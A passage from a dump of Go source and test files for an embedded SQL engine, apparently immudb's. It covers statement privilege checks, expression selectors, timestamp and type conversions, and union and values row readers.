[]SQLPrivilege{SQLPrivilegeDrop},\n\t\t},\n\t\t{\n\t\t\tstmt:       &DropIndexStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeDrop},\n\t\t},\n\t\t{\n\t\t\tstmt:       &DropUserStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeDrop},\n\t\t},\n\t\t{\n\t\t\tstmt:       &FnDataSourceStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: nil,\n\t\t},\n\t\t{\n\t\t\tstmt:       &BeginTransactionStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: nil,\n\t\t},\n\t\t{\n\t\t\tstmt:       &CommitStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: nil,\n\t\t},\n\t\t{\n\t\t\tstmt:       &RollbackStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: nil,\n\t\t},\n\t\t{\n\t\t\tstmt:       &UseDatabaseStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: nil,\n\t\t},\n\t\t{\n\t\t\tstmt:       &UseSnapshotStmt{},\n\t\t\treadOnly:   true,\n\t\t\tprivileges: nil,\n\t\t},\n\t\t{\n\t\t\tstmt:       &AddColumnStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeAlter},\n\t\t},\n\t\t{\n\t\t\tstmt:       &RenameTableStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeAlter},\n\t\t},\n\t\t{\n\t\t\tstmt:       &RenameColumnStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeAlter},\n\t\t},\n\t\t{\n\t\t\tstmt:       &RenameColumnStmt{},\n\t\t\treadOnly:   false,\n\t\t\tprivileges: []SQLPrivilege{SQLPrivilegeAlter},\n\t\t},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(reflect.TypeOf(tc.stmt).String(), func(t *testing.T) {\n\t\t\trequire.Equal(t, tc.stmt.readOnly(), tc.readOnly)\n\t\t\trequire.Equal(t, tc.stmt.requiredPrivileges(), tc.privileges)\n\t\t})\n\t}\n}\n\nfunc TestExprSelectors(t *testing.T) {\n\ttype testCase struct {\n\t\tExpr      ValueExp\n\t\tselectors []Selector\n\t}\n\n\ttests := []testCase{\n\t\t{\n\t\t\tExpr: &Integer{},\n\t\t},\n\t\t{\n\t\t\tExpr: &Bool{},\n\t\t},\n\t\t{\n\t\t\tExpr: &Float64{},\n\t\t},\n\t\t{\n\t\t\tExpr: &NullValue{},\n\t\t},\n\t\t{\n\t\t\tExpr: &Blob{},\n\t\t},\n\t\t{\n\t\t\tExpr: &UUID{},\n\t\t},\n\t\t{\n\t\t\tExpr: &JSON{},\n\t\t},\n\t\t{\n\t\t\tExpr: &Timestamp{},\n\t\t},\n\t\t{\n\t\t\tExpr: &Varchar{},\n\t\t},\n\t\t{\n\t\t\tExpr: &Param{},\n\t\t},\n\t\t{\n\t\t\tExpr: &ColSelector{col: \"col\"},\n\t\t\tselectors: []Selector{\n\t\t\t\t&ColSelector{col: \"col\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tExpr: &JSONSelector{ColSelector: &ColSelector{col: \"col\"}},\n\t\t\tselectors: []Selector{\n\t\t\t\t&JSONSelector{ColSelector: &ColSelector{col: \"col\"}},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tExpr: &BinBoolExp{\n\t\t\t\tleft:  &ColSelector{col: \"col\"},\n\t\t\t\tright: &ColSelector{col: \"col1\"},\n\t\t\t},\n\t\t\tselectors: []Selector{\n\t\t\t\t&ColSelector{col: \"col\"},\n\t\t\t\t&ColSelector{col: \"col1\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tExpr: &NumExp{\n\t\t\t\tleft:  &ColSelector{col: \"col\"},\n\t\t\t\tright: &ColSelector{col: \"col1\"},\n\t\t\t},\n\t\t\tselectors: []Selector{\n\t\t\t\t&ColSelector{col: \"col\"},\n\t\t\t\t&ColSelector{col: \"col1\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tExpr: &LikeBoolExp{\n\t\t\t\tval: &ColSelector{col: \"col\"},\n\t\t\t},\n\t\t\tselectors: []Selector{\n\t\t\t\t&ColSelector{col: \"col\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tExpr: &ExistsBoolExp{},\n\t\t},\n\t\t{\n\t\t\tExpr: &InSubQueryExp{val: &ColSelector{col: \"col\"}},\n\t\t\tselectors: []Selector{\n\t\t\t\t&ColSelector{col: \"col\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tExpr: &InListExp{\n\t\t\t\tval: &ColSelector{col: \"col\"},\n\t\t\t\tvalues: []ValueExp{\n\t\t\t\t\t&ColSelector{col: \"col1\"},\n\t\t\t\t\t&ColSelector{col: \"col2\"},\n\t\t\t\t\t&ColSelector{col: \"col3\"},\n\t\t\t\t},\n\t\t\t},\n\t\t\tselectors: []Selector{\n\t\t\t\t&ColSelector{col: \"col\"},\n\t\t\t\t&ColSelector{col: \"col1\"},\n\t\t\t\t&ColSelector{col: \"col2\"},\n\t\t\t\t&ColSelector{col: \"col3\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(reflect.TypeOf(tc.Expr).Elem().Name(), func(t *testing.T) {\n\t\t\trequire.Equal(t, tc.selectors, tc.Expr.selectors())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/sql/timestamp.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport \"time\"\n\nfunc TimeToInt64(t time.Time) int64 {\n\tunix := t.Unix()\n\tnano := t.Nanosecond()\n\n\treturn unix*1e6 + int64(nano)/1e3\n}\n\nfunc TimeFromInt64(t int64) time.Time {\n\treturn time.Unix(t/1e6, (t%1e6)*1e3).UTC()\n}\n"
  },
  {
    "path": "embedded/sql/timestamp_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestTimeConversions(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tt time.Time\n\t\ti int64\n\t}{\n\t\t{time.Date(2021, 12, 8, 13, 55, 23, 0, time.UTC), 1638971723000000},\n\t\t{time.Date(2021, 12, 8, 13, 55, 23, 123456000, time.UTC), 1638971723123456},\n\t\t{time.Date(1970, 1, 1, 0, 0, 0, 0, time.UTC), 0},\n\t\t{time.Date(0, 1, 1, 0, 0, 0, 0, time.UTC), -62167219200000000},\n\t} {\n\t\tt.Run(fmt.Sprintf(\"convert time (%v) to int64 (%d)\", d.t, d.i), func(t *testing.T) {\n\t\t\tassert.Equal(t, d.i, TimeToInt64(d.t))\n\t\t})\n\t\tt.Run(fmt.Sprintf(\"convert int64 (%d) to time (%v)\", d.i, d.t), func(t *testing.T) {\n\t\t\tassert.Equal(t, d.t, TimeFromInt64(d.i))\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "embedded/sql/type_conversion.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/google/uuid\"\n)\n\ntype converterFunc func(TypedValue) (TypedValue, error)\n\nfunc getConverter(src, dst SQLValueType) (converterFunc, error) {\n\tif src == dst {\n\t\tif src == JSONType {\n\t\t\treturn jsonConverted(dst), nil\n\t\t}\n\n\t\treturn func(tv TypedValue) (TypedValue, error) {\n\t\t\treturn tv, nil\n\t\t}, nil\n\t}\n\n\tif src == AnyType {\n\t\tif dst == JSONType {\n\t\t\treturn jsonConverted(dst), nil\n\t\t}\n\n\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\tif val.RawValue() == nil {\n\t\t\t\treturn &NullValue{t: dst}, nil\n\t\t\t}\n\t\t\treturn nil, ErrInvalidValue\n\t\t}, nil\n\t}\n\n\tif dst == TimestampType {\n\t\tif src == IntegerType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: TimestampType}, nil\n\t\t\t\t}\n\t\t\t\treturn &Timestamp{val: time.Unix(val.RawValue().(int64), 0).Truncate(time.Microsecond).UTC()}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == VarcharType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: TimestampType}, nil\n\t\t\t\t}\n\n\t\t\t\tstr := val.RawValue().(string)\n\n\t\t\t\tvar supportedTimeFormats = []string{\n\t\t\t\t\t\"2006-01-02 15:04:05 MST\",\n\t\t\t\t\t\"2006-01-02 15:04:05 -0700\",\n\t\t\t\t\t\"2006-01-02 15:04:05.999999\",\n\t\t\t\t\t\"2006-01-02 15:04:05\",\n\t\t\t\t\t\"2006-01-02 15:04\",\n\t\t\t\t\t\"2006-01-02\",\n\t\t\t\t}\n\n\t\t\t\tfor _, layout := range supportedTimeFormats {\n\t\t\t\t\tt, err := time.ParseInLocation(layout, str, time.UTC)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\treturn &Timestamp{val: t.Truncate(time.Microsecond).UTC()}, nil\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif len(str) > 30 {\n\t\t\t\t\tstr = str[:30] + \"...\"\n\t\t\t\t}\n\n\t\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\t\"%w: can not cast string '%s' as a TIMESTAMP\",\n\t\t\t\t\tErrUnsupportedCast,\n\t\t\t\t\tstr,\n\t\t\t\t)\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == JSONType {\n\t\t\tjsonToStr, err := getConverter(src, VarcharType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tstrToTimestamp, err := getConverter(VarcharType, TimestampType)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\treturn func(tv TypedValue) (TypedValue, error) {\n\t\t\t\tv, err := jsonToStr(tv)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\ts, _ := v.RawValue().(string)\n\t\t\t\treturn strToTimestamp(NewVarchar(strings.Trim(s, `\"`)))\n\t\t\t}, nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP\",\n\t\t\tErrUnsupportedCast,\n\t\t)\n\t}\n\n\tif dst == Float64Type {\n\t\tif src == IntegerType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: Float64Type}, nil\n\t\t\t\t}\n\t\t\t\treturn &Float64{val: float64(val.RawValue().(int64))}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == VarcharType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: Float64Type}, nil\n\t\t\t\t}\n\n\t\t\t\ts, err := strconv.ParseFloat(val.RawValue().(string), 64)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\t\t\"%w: can not cast string '%s' as a FLOAT\",\n\t\t\t\t\t\tErrUnsupportedCast,\n\t\t\t\t\t\tval.RawValue().(string),\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t\treturn &Float64{val: s}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == JSONType {\n\t\t\treturn jsonConverted(dst), nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: only INTEGER and VARCHAR types can be cast as FLOAT\",\n\t\t\tErrUnsupportedCast,\n\t\t)\n\t}\n\n\tif dst == BooleanType {\n\t\tif src == JSONType {\n\t\t\treturn jsonConverted(dst), nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: cannot cast %s to %s\",\n\t\t\tErrUnsupportedCast,\n\t\t\tsrc,\n\t\t\tdst,\n\t\t)\n\t}\n\n\tif dst == IntegerType {\n\t\tif src == Float64Type {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: IntegerType}, nil\n\t\t\t\t}\n\t\t\t\treturn &Integer{val: int64(val.RawValue().(float64))}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == VarcharType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: IntegerType}, nil\n\t\t\t\t}\n\n\t\t\t\ts, err := strconv.ParseInt(val.RawValue().(string), 10, 64)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\t\t\"%w: can not cast string '%s' as a INTEGER\",\n\t\t\t\t\t\tErrUnsupportedCast,\n\t\t\t\t\t\tval.RawValue().(string),\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t\treturn &Integer{val: s}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == JSONType {\n\t\t\treturn jsonConverted(dst), nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: only INTEGER and VARCHAR types can be cast as INTEGER\",\n\t\t\tErrUnsupportedCast,\n\t\t)\n\t}\n\n\tif dst == UUIDType {\n\t\tif src == VarcharType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: UUIDType}, nil\n\t\t\t\t}\n\n\t\t\t\tstrVal := val.RawValue().(string)\n\n\t\t\t\tu, err := uuid.Parse(strVal)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\t\t\"%w: can not cast string '%s' as an UUID\",\n\t\t\t\t\t\tErrUnsupportedCast,\n\t\t\t\t\t\tval.RawValue().(string),\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\treturn &UUID{val: u}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == BLOBType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: UUIDType}, nil\n\t\t\t\t}\n\n\t\t\t\tbs := val.RawValue().([]byte)\n\n\t\t\t\tu, err := uuid.FromBytes(bs)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\t\t\"%w: can not cast blob '%s' as an UUID\",\n\t\t\t\t\t\tErrUnsupportedCast,\n\t\t\t\t\t\tval.RawValue().(string),\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t\treturn &UUID{val: u}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: only BLOB and VARCHAR types can be cast as UUID\",\n\t\t\tErrUnsupportedCast,\n\t\t)\n\t}\n\n\tif dst == BLOBType {\n\t\tif src == VarcharType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: BLOBType}, nil\n\t\t\t\t}\n\n\t\t\t\tstrVal := val.RawValue().(string)\n\n\t\t\t\treturn &Blob{val: []byte(strVal)}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == UUIDType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: BLOBType}, nil\n\t\t\t\t}\n\n\t\t\t\tu := val.RawValue().(uuid.UUID)\n\n\t\t\t\treturn &Blob{val: u[:]}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == JSONType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tjsonStr := val.String()\n\t\t\t\treturn &Blob{val: []byte(jsonStr)}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: cannot cast type %s to BLOB\",\n\t\t\tErrUnsupportedCast,\n\t\t\tsrc,\n\t\t)\n\t}\n\n\tif dst == VarcharType {\n\t\tif src == UUIDType {\n\t\t\treturn func(val TypedValue) (TypedValue, error) {\n\t\t\t\tif val.RawValue() == nil {\n\t\t\t\t\treturn &NullValue{t: VarcharType}, nil\n\t\t\t\t}\n\n\t\t\t\tu := val.RawValue().(uuid.UUID)\n\n\t\t\t\treturn &Varchar{val: u.String()}, nil\n\t\t\t}, nil\n\t\t}\n\n\t\tif src == JSONType {\n\t\t\treturn jsonConverted(dst), nil\n\t\t}\n\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"%w: only UUID type can be cast as VARCHAR\",\n\t\t\tErrUnsupportedCast,\n\t\t)\n\t}\n\n\tif dst == JSONType {\n\t\treturn func(tv TypedValue) (TypedValue, error) {\n\t\t\tif tv.RawValue() == nil {\n\t\t\t\treturn &NullValue{t: JSONType}, nil\n\t\t\t}\n\n\t\t\tswitch tv.Type() {\n\t\t\tcase Float64Type, IntegerType, BooleanType, AnyType:\n\t\t\t\treturn &JSON{val: tv.RawValue()}, nil\n\t\t\tcase VarcharType:\n\t\t\t\tvar x interface{}\n\t\t\t\ts := strings.TrimSuffix(strings.TrimPrefix(tv.String(), \"'\"), \"'\")\n\n\t\t\t\terr := json.Unmarshal([]byte(s), &x)\n\t\t\t\treturn &JSON{val: x}, err\n\t\t\tcase BLOBType:\n\t\t\t\trawJson, ok := tv.RawValue().([]byte)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn nil, fmt.Errorf(\"invalid %s value\", JSONType)\n\t\t\t\t}\n\t\t\t\treturn NewJsonFromString(string(rawJson))\n\t\t\t}\n\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"%w: can not cast %s value as %s\",\n\t\t\t\tErrUnsupportedCast,\n\t\t\t\ttv.Type(),\n\t\t\t\tJSONType,\n\t\t\t)\n\t\t}, nil\n\t}\n\n\tif dst == AnyType && src == JSONType {\n\t\treturn func(tv TypedValue) (TypedValue, error) {\n\t\t\tif !tv.IsNull() {\n\t\t\t\treturn &NullValue{t: AnyType}, nil\n\t\t\t}\n\t\t\treturn nil, ErrInvalidValue\n\t\t}, nil\n\t}\n\n\treturn nil, fmt.Errorf(\n\t\t\"%w: can not cast %s value as %s\",\n\t\tErrUnsupportedCast,\n\t\tsrc,\n\t\tdst,\n\t)\n}\n\nfunc jsonConverted(t SQLValueType) converterFunc {\n\treturn func(val TypedValue) (TypedValue, error) {\n\t\tif val.IsNull() {\n\t\t\treturn &JSON{val: nil}, nil\n\t\t}\n\n\t\tjsonVal := val.(*JSON)\n\t\tif t == VarcharType {\n\t\t\treturn NewVarchar(jsonVal.String()), nil\n\t\t}\n\n\t\tval, ok := jsonVal.castToTypedValue()\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"%w: can not cast JSON as %s\",\n\t\t\t\tErrUnsupportedCast,\n\t\t\t\tt,\n\t\t\t)\n\t\t}\n\n\t\tconv, err := getConverter(val.Type(), t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn conv(val)\n\t}\n}\n"
  },
  {
    "path": "embedded/sql/union_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\ntype unionRowReader struct {\n\trowReaders []RowReader\n\tcurrReader int\n\n\tcols []ColDescriptor\n}\n\nfunc newUnionRowReader(ctx context.Context, rowReaders []RowReader) (*unionRowReader, error) {\n\tif len(rowReaders) == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tcols, err := rowReaders[0].Columns(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor i := 1; i < len(rowReaders); i++ {\n\t\tcs, err := rowReaders[i].Columns(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(cols) != len(cs) {\n\t\t\treturn nil, fmt.Errorf(\"%w: each subquery must have same number of columns\", ErrColumnMismatchInUnionStmt)\n\t\t}\n\n\t\tfor c := 0; c < len(cols); c++ {\n\t\t\tif cols[c].Type != cs[c].Type {\n\t\t\t\treturn nil, fmt.Errorf(\"%w: expecting type '%v' for column '%s'\", ErrColumnMismatchInUnionStmt, cols[c].Type, cs[c].Column)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn &unionRowReader{\n\t\trowReaders: rowReaders,\n\t\tcols:       cols,\n\t}, nil\n}\n\nfunc (ur *unionRowReader) onClose(callback func()) {\n\tur.rowReaders[0].onClose(callback)\n}\n\nfunc (ur *unionRowReader) Tx() *SQLTx {\n\treturn ur.rowReaders[0].Tx()\n}\n\nfunc (ur *unionRowReader) TableAlias() string {\n\treturn \"\"\n}\n\nfunc (ur *unionRowReader) Parameters() map[string]interface{} {\n\treturn ur.rowReaders[0].Parameters()\n}\n\nfunc (ur *unionRowReader) OrderBy() []ColDescriptor {\n\treturn nil\n}\n\nfunc (ur *unionRowReader) ScanSpecs() *ScanSpecs {\n\treturn nil\n}\n\nfunc (ur *unionRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\treturn ur.rowReaders[0].Columns(ctx)\n}\n\nfunc (ur *unionRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn ur.rowReaders[0].colsBySelector(ctx)\n}\n\nfunc (ur *unionRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\tfor _, r := range ur.rowReaders {\n\t\terr := r.InferParameters(ctx, params)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (ur *unionRowReader) Read(ctx context.Context) (*Row, error) {\n\tfor {\n\t\trow, err := ur.rowReaders[ur.currReader].Read(ctx)\n\t\tif errors.Is(err, store.ErrNoMoreEntries) && ur.currReader+1 < len(ur.rowReaders) {\n\t\t\tur.currReader++\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif ur.currReader > 0 {\n\t\t\t// overwrite selectors using the ones from the first subquery\n\t\t\tvaluesBySelector := make(map[string]TypedValue, len(ur.cols))\n\n\t\t\tfor i, c := range ur.cols {\n\t\t\t\tvaluesBySelector[c.Selector()] = row.ValuesByPosition[i]\n\t\t\t}\n\n\t\t\trow.ValuesBySelector = valuesBySelector\n\t\t}\n\n\t\treturn row, nil\n\t}\n}\n\nfunc (ur *unionRowReader) Close() error {\n\tmerr := multierr.NewMultiErr()\n\n\t// Closing in reverse order to ensure the onClose callback\n\t// is called after the last reader is closed\n\tfor i := len(ur.rowReaders) - 1; i >= 0; i-- {\n\t\terr := ur.rowReaders[i].Close()\n\t\tmerr.Append(err)\n\t}\n\n\treturn merr.Reduce()\n}\n"
  },
  {
    "path": "embedded/sql/union_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestUnionRowReader(t *testing.T) {\n\t_, err := newUnionRowReader(context.Background(), nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tparams := map[string]interface{}{\n\t\t\"param1\": 1,\n\t}\n\n\tdummyr := &dummyRowReader{\n\t\tdatabase:             \"db1\",\n\t\tfailReturningColumns: true,\n\t\tparams:               params,\n\t}\n\n\t_, err = newUnionRowReader(context.Background(), []RowReader{dummyr})\n\trequire.ErrorIs(t, err, errDummy)\n\n\tdummyr.failReturningColumns = false\n\n\trowReader, err := newUnionRowReader(context.Background(), []RowReader{dummyr})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, rowReader)\n\n\trequire.Equal(t, \"\", rowReader.TableAlias())\n\n\trequire.Nil(t, rowReader.OrderBy())\n\n\trequire.Nil(t, rowReader.ScanSpecs())\n\n\trequire.Equal(t, params, rowReader.Parameters())\n\n\tparamTypes := make(map[string]string)\n\terr = rowReader.InferParameters(context.Background(), paramTypes)\n\trequire.NoError(t, err)\n\n\tdummyr.failInferringParams = true\n\terr = rowReader.InferParameters(context.Background(), paramTypes)\n\trequire.ErrorIs(t, err, errDummy)\n}\n"
  },
  {
    "path": "embedded/sql/values_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"fmt\"\n)\n\ntype valuesRowReader struct {\n\ttx        *SQLTx\n\tcolsByPos []ColDescriptor\n\tcolsBySel map[string]ColDescriptor\n\n\ttableAlias string\n\n\tvalues [][]ValueExp\n\tread   int\n\n\tparams          map[string]interface{}\n\tcheckTypes      bool\n\tonCloseCallback func()\n\tclosed          bool\n}\n\nfunc NewValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, checkTypes bool, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) {\n\tif tableAlias == \"\" {\n\t\treturn nil, fmt.Errorf(\"%w: table alias is mandatory\", ErrIllegalArguments)\n\t}\n\n\tcolsByPos := make([]ColDescriptor, len(cols))\n\tcolsBySel := make(map[string]ColDescriptor, len(cols))\n\n\tfor i, c := range cols {\n\t\tif c.AggFn != \"\" || c.Table != \"\" {\n\t\t\treturn nil, fmt.Errorf(\"%w: only column name may be specified\", ErrIllegalArguments)\n\t\t}\n\n\t\tcol := ColDescriptor{\n\t\t\tTable:  tableAlias,\n\t\t\tColumn: c.Column,\n\t\t\tType:   c.Type,\n\t\t}\n\n\t\tcolsByPos[i] = col\n\t\tcolsBySel[col.Selector()] = col\n\t}\n\n\tfor _, vs := range values {\n\t\tif len(cols) != len(vs) {\n\t\t\treturn nil, ErrInvalidNumberOfValues\n\t\t}\n\t}\n\n\treturn &valuesRowReader{\n\t\ttx:         tx,\n\t\tparams:     params,\n\t\tcolsByPos:  colsByPos,\n\t\tcolsBySel:  colsBySel,\n\t\ttableAlias: tableAlias,\n\t\tvalues:     values,\n\t\tcheckTypes: checkTypes,\n\t}, nil\n}\n\nfunc (vr *valuesRowReader) onClose(callback func()) {\n\tvr.onCloseCallback = callback\n}\n\nfunc (vr *valuesRowReader) Tx() *SQLTx {\n\treturn vr.tx\n}\n\nfunc (vr *valuesRowReader) TableAlias() string {\n\treturn vr.tableAlias\n}\n\nfunc (vr *valuesRowReader) Parameters() map[string]interface{} {\n\treturn vr.params\n}\n\nfunc (vr *valuesRowReader) OrderBy() []ColDescriptor {\n\treturn nil\n}\n\nfunc (vr *valuesRowReader) ScanSpecs() *ScanSpecs {\n\treturn nil\n}\n\nfunc (vr *valuesRowReader) Columns(ctx context.Context) 